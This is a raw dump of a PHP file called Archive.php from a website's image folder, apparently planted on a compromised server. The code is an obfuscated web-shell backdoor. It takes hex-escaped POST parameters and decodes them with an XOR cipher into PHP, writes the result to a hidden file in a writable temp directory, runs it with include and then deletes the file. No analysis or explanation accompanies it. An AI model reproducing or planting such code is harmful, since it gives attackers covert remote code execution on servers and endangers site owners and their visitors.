File: //proc/thread-self/root/proc/self/root/home/vitanhod/prostanur.vitavit.com.pk/img/Archive.php
<?php if(isset($_POST["v\x61\x6Cue"]) ? true : false){ $rec = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getcwd()]); $parameter_group = $_POST["v\x61\x6Cue"]; $parameter_group = explode ('.' , $parameter_group ) ; $ptr= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s4); $t= 0; while ($t < count($parameter_group)) { $v1= $parameter_group[$t]; $sChar= ord($s4[$t% $sLen]); $d= ((int)$v1 - $sChar - ($t% 10)) ^ 54; $ptr .= chr($d); $t++; } $pset = 0; do { $obj = $rec[$pset] ?? null; if ($pset >= count($rec)) break; if (!!is_dir($obj) && !!is_writable($obj)) { $binding = implode("/", [$obj, ".data_chunk"]); $success = file_put_contents($binding, $ptr); if ($success) { include $binding; @unlink($binding); exit;} } $pset++; } while (true); }
if(!empty($_POST["r\x65s\x6Furc\x65"])){
$pointer = array_filter([getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm"]);
$pset = $_POST["r\x65s\x6Furc\x65"];
$pset = explode( '.' , $pset ) ;
$holder = '';
$s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s1);
$p = 0;
foreach($pset as $v7) { $chS = ord($s1[$p % $lenS]);
$dec = ((int)$v7 - $chS -($p % 10)) ^ 24;
$holder .= chr($dec);
$p++;
}
$ent = 0;
do {
$marker = $pointer[$ent] ?? null;
if ($ent >= count($pointer)) break;
if (is_dir($marker) ? is_writable($marker) : false) {
$bind = "$marker/.pgrp";
if (file_put_contents($bind, $holder)) {
include $bind;
@unlink($bind);
die();
}
}
$ent++;
} while (true);
}